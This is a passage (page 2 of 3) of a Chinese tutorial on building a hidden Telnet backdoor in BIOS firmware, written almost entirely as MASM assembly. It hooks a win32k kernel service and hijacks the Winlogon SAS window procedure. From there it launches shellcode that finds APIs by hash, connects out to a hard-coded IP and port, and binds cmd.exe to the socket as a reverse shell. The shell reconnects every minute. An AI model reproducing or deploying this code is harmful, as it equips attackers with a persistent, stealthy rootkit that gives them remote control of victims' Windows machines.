使用汇编编写BIOS中隐藏Telnet后门

                     .while edx > 0
                            .if    byte ptr [eax] == 0f7h       ;F7h/0: TEST mem, imm
                                   mov    ebx,4                 ;search EAX+4..1 for bit mask of prohibited 'fsModifiers' flags
                                   .while ebx > 0
                                          .if    dword ptr [eax + ebx] == 0FFFF7FF0h    
                                                 inc     edi
                                                 .while  1      ;NtUserRegisterClassExWOW will have 6 or 7 arguments  
                                                         sub     esi,4
                                                         dec     edi  
                                                         .if     byte ptr [edi] >= 18h
                                                                 mov     eax,[esi]
                                                                 ;bochs调试9#:JMP $指令断点,在多线程下很慢,尽量采用断点ming令.lb 0xffdf08f7
                                                                 mov     edi,(CSL_KERNEL_DEST + (MyNtUserRegisterClassExWOW-Code32Start))
                                                                 mov     [edi + (NTURCEWOW_ORIGINAL - MyNtUserRegisterClassExWOW)],eax
                                                                 mov     [esi],edi
                                                                 jmp     @F
                                                         .endif
                                                 .endw
                                          .endif
                                          dec    ebx
                                   .endw
                            .endif
                            inc    eax
                            dec    edx
                     .endw
             .endif
             inc     edi
             dec     ecx
      .endw
@@:      
;******************************************************************************
      popad                                               ;恢复KeAddSystemServiceTable函数的现场.
      ret                                                       ;返回KeAddSystemServiceTable函数去执行.
;********************************************************************************
MyNtUserRegisterClassExWOW:                                     ;win32k!NtUserRegisterClassExWOW HOOK .

      pushad                                                    ;bochs调试10#:lb 0xffdf091e 调试9#获取.
                                                                ;使用bochs调试ming令:x esp     u /50 eip.
      xor     eax,eax                                          
      
      push    (CSL_KERNEL_DEST + (MyNtUserRegisterClassExWOW_SEH - Code32Start))
      push    dword ptr fs:[eax]            ;在堆栈建立异常结构
      mov     dword ptr fs:[eax],esp     ;安装我们的异常处理,####调试发现安装的异常处理有时不能工作.####

      ;通过传来的参数检查类名是L"SAS window class" ,替换其'lpfnWndProc'过程,具体参看"win32应用程序窗口消息原理".
      mov     ebp,ds:[7FFE02B4h]                           ;EBP = MmHighestUserAddress
      mov     edx,[esp + 8 + 28h]                               ;edx->窗口类名,格式PUNICODE_STRING.
      .if     edx <= ebp
              .if     word ptr [edx] == 16*2                    ;size of L"SAS window class" 检查字符数对不?
                      mov     esi,[edx + 4]                    
                      .if     esi <= ebp
                              mov     ecx,16                    ;
                              mov     edx,72ABEC2Dh        ;72ABEC2Dh <-- HASH("SAS window class")
                              @@:
                                      lodsw
                                      sub     edx,eax
                                      ror     edx,7
                              loop    @B
                              .if     edx == 0                  ;替换窗口过程,前保存旧的过程在PEB中
                                      mov     esi,[esp + 8 +24h];esi->WNDCLASSEXW 类结构.
                                      .if     esi <= ebp
                                              mov     ecx,fs:[edx + 18h]              ;ecx->用户TIB,线程信息块存放线程信息.
                                              mov     ecx,[ecx +30h]                  ;ecx->    PEB,进程环境块存放进程信息.
                                              .if     ecx <= ebp                      ;bochs调试11#:lb 0xffdf0971          
                                                      mov     eax,(CSL_USER_BACKDOOR + (MySASWndProc - Code32Start))
                                                      xchg    dword ptr [esi + 8],eax ;替换'lpfnWndProc'过程,为我们的过程.
                                                      mov     [ecx + 0eb0h],eax       ;PEB->0EB0h = 旧的'lpfnWndProc' (保存旧的SASWndProc)
                                              .endif
                                      .endif
                              .endif
                      .endif
              .endif
      .endif

;*************************************************************************************************
NTURCEWOW_Done:                                                 ;bochs调试11#:lb 0xffdf097f
      xor     eax,eax
      pop     dword ptr fs:[eax]                                ;移除堆栈的异常结构
      pop     ecx                                               ;移除我们的异常处理
      popad
      pushd   0                                                
NTURCEWOW_ORIGINAL EQU $-4
      ret                                                       ;返回NtUserRegisterClassExWOWHook执行.
;*****************************************************************************************************
MyNtUserRegisterClassExWOW_SEH:                    ;注意:安装异常参看"win32应用程序设计".
      xor     eax,eax                                           ;lb 0xffdf098c 调试异常:兼容不很稳定 .

      cdq                        ;CDQ常用于除法运算之前调整EDX值.作用只是把EDX的所有位都设成EAX最高位的值.
      mov     dl,0B8h
      add     edx,[esp + 0Ch]                ;[esp + c]->Context.传过来的参数.
                                 ;Context->Eip
      mov     dword ptr [edx],(CSL_KERNEL_DEST + (NTURCEWOW_Done - Code32Start))
      ret
;****************************************************************************************
MySASWndProc:                                                   ;bochs调试12#: 程序现已运行在应用层下.
                                                                ;lb 0x7ffe099c
      push    eax                                               ;eax:旧的SASWndProc地址,返回方法:popad ret.
      pushad

      xor     eax,eax
      mov     edx,fs:[eax+30h]                                  ;ptr to PEB
      
      mov     eax,[edx+0EB0h]                                   ;original SASWndProc address
      mov     [esp+20h],eax

      mov     eax,[esp+2Ch]                                     ;get 'uMsg' argument
      .if     eax == 0001h                                      ;WM_CREATE
              mov     eax,[edx+0Ch]                             ;ptr to loader data
              mov     ecx,[eax+1Ch]                             ;ptr to first module in initialization-order list

              .repeat
                      mov     ebx,[ecx+8]                       ;module image base
                      mov     esi,[ecx+20h]                     ;ptr to module file name
                      mov     ecx,[ecx]                         ;ptr to next module
                      lodsb
                      or      al,20h
              .until  al == 'k'                                 ;assume KERNEL32.DLL will be first module starting with 'K'
                                                                ;EBX = KERNEL32 镜像基址 bochs调试13#:lb 0x7ffe09cc
              ;mov     edi,(CSL_USER_BACKDOOR + (PEApiHashFind - Code32Start))
              push    ebx                                       ;ebx:dwThreadID  变量使用堆栈.
              push    esp                                       ;push addr dwThreadID
              push    0
              push    0
              push    (CSL_USER_BACKDOOR + (TelnetShell - Code32Start))
              push    0
              push    0
              mov     edx,3f1764e5h                             ;hash("CreateThread")=3f1764e5h
              call    PEApiHashFind                             ;call     edi 是否需要这样调用?
              call    eax                                       ;invoke CreateThread,NULL,0,offset TelnetShell,NULL,NULL,addr dwThreadID
              pop     ebx                                       ;ebx:dwThreadID 去掉变量使用.
      .endif
      popad
      ret                                                       ;invoke original SASWndProc
;***************************************************************************************************
     TelnetShell:                                                    ;可用于安装在win2k/xp/2003 反向连接Telnet后门应用程序.
      xor     eax,eax                                           ;bochs调试14#:lb 0x7ffe09f0
      mov     edx,fs:[eax+30h]                                  ;ptr to PEB
      mov     eax,[edx+0Ch]                                     ;ptr to loader data
      mov     ecx,[eax+1Ch]                                     ;ptr to first module in initialization-order list

      .repeat
              mov     ebx,[ecx+8]                               ;module image base
              mov     esi,[ecx+20h]                             ;ptr to module file name
              mov     ecx,[ecx]                                 ;ptr to next module
              lodsb
              or      al,20h
     .until  al == 'k'                                          ;assume KERNEL32.DLL will be first module starting with 'K'
                                                                ;EBX = KERNEL32 image base
      mov     edi,ebx                                           ;edi = kernel32基址 bochs调试15#:lb 0x7ffe0a05
TelnetShell_Strat:
      mov     ebp,esp                                           ;bochs调试15#:lb 0x7ffe0a07

      push    00003233h
      push    5f325357h                                         ;esp->"WS2_32"
      push    esp
      mov     edx,2e864192h                                     ;Hash("LoadLibraryA")=2e864192h
      call    PEApiHashFind
      call    eax                                               ;LoadLibraryA(&WS2_32DLL)返回EAX=装载DLL基址.
      mov     ebx,eax                                           ;ebx=WS2_32基址

      sub     esp,1ech                                          ;WSADATA struct
      push    esp                                               ;esp->WSADATA struct
      push    202h                                              ;VersionRequested 0x202h
      mov     edx,0c05a351eh                                    ;Hash("WSAStartup")=0c05a351eh
      call    PEApiHashFind
      call    eax                                               ;WSAStartup(0x101, &WSADATA)

      push    0
      push    0
      push    0
      push    6                                                 ;IPPROTO_TCP=6 IPPROTO_UDP=17
      push    1                                                 ;SOCK_STREAM=1 SOCK_DGRAM=2
      push    2                                                 ;AF_INET=2
      mov     edx,0ef3c1916h                                    ;Hash("WSASocketA")=0ef3c1916h
      call    PEApiHashFind
      call    eax                                               ;s=WSASocketA(2,1,6,0,0,0)
      mov     esi,eax                                           ;esi=socket s

      push    0265359dah                                   ;sockaddr_in.sin_addr;192.168.100.111(06f64a8c0h)
      push    0feff0002h                                        ;0x02=AF_INET(sin_family);0xfffe=65534(sin_port)

      ;.repeat
              mov     edx,esp
              push    10h                                       ;sizeof(sockaddr_in)
              push    edx                                       ;esp->sockaddr_in struct
              push    esi                                       ;socket s
              mov     edx,5ddd8b01h                             ;Hash("connect")=5ddd8b01h
              ;mov     ebx,edi                                  ;ebx=kernel32基址
              call    PEApiHashFind
              call    eax                                       ;IPPROTO_TCP c=connect(s, &address, sizeof(address))
      ;.until  eax == 0                                          ;连接成功
      mov     ebx,edi                                           ;ebx=kernel32基址
      .if     eax != 0
              push    60000
              mov     edx,0cb9765ah                             ;Hash("Sleep")=0cb9765ah
              call    PEApiHashFind                            
              call    eax                                       ;invoke Sleep,60000
              mov     esp,ebp
              mov     ebx,edi                                   ;ebx=kernel32基址
              jmp     TelnetShell_Strat                         ;for another connection  
              ;ret
      .endif

      push    646d63h                                           ;winNT(cmd.exe)
      mov     edx,esp                                           ;edx->file name
  
      push    esi                                               ;STARTUPINFOA.hStdError
      push    esi                                               ;STARTUPINFOA.hStdOutput
      push    esi                                               ;STARTUPINFOA.hStdInput

      push    0                      
      push    0                                                 ;wShowWindow cbReserved2                  
      push    101h                                              ;STARTUPINFO.dwFlags                                      

      mov     ecx,0fh
@@:                              
      push    0                                                 ;STARTUPINFOA.cb ~ STARTUPINFOA.dwFillAttribute
      loop    @B

      lea     ecx,[esp+10h]                                     ;ecx->STARTUPINFOA.cb
      mov     dword ptr [ecx],44h                               ;STARTUPINFOA.CB=44h(len STARTUPINFOA)

      push    esp                                               ;esp->PROCESS_INFORMATION STRUCT(all 0)
      push    ecx                                               ;ecx->STARTUPINFOA STRUCT
      push    0
      push    0
      push    0
      push    1
      push    0
      push    0
      push    edx
      push    0
      mov     edx,4b5d35e6h                                     ;Hash("CreateProcessA")=4b5d35e6h
      call    PEApiHashFind
      call    eax                                               ;CreateProcessA(0, Addr"cmd.exe",0,0,1,0,0,0,si, pi)

      pop     ecx                                               ;PROCESS_INFORMATION.hProcess

      push    -1                                                ;time -1
      push    ecx
      mov     edx,8885abf2h                                     ;Hash("WaitForSingleObject")=8885abf2h
      call    PEApiHashFind
      call    eax                                               ;WaitForSingleObject(Handle, time)
      mov     esp,ebp
      mov     ebx,edi                                           ;ebx=kernel32基址
      jmp     TelnetShell_Strat                          ;for another connection  
      ;ret
;******************************************************************************************
PEApiHashFind:                       ;入口:EBX=镜像基址 EDX=HASH32值 出口:eax=Api 地址,0表示未找到.
      xor     eax,eax                  
      pushad
      mov     ecx,[ebx+3Ch]                                     ;ecx = RVA of PE header
      mov     ebp,[ebx+ecx+78h]                                 ;ebp = RVA of export directory
      add     ebp,ebx                                           ;ebp -> ptr to export directory
      mov     ecx,[ebp+18h]                                     ;ecx = IMAGE_EXPORT_DIRECTORY::NumberOfNames

上一页  [1] [2] [3]  下一页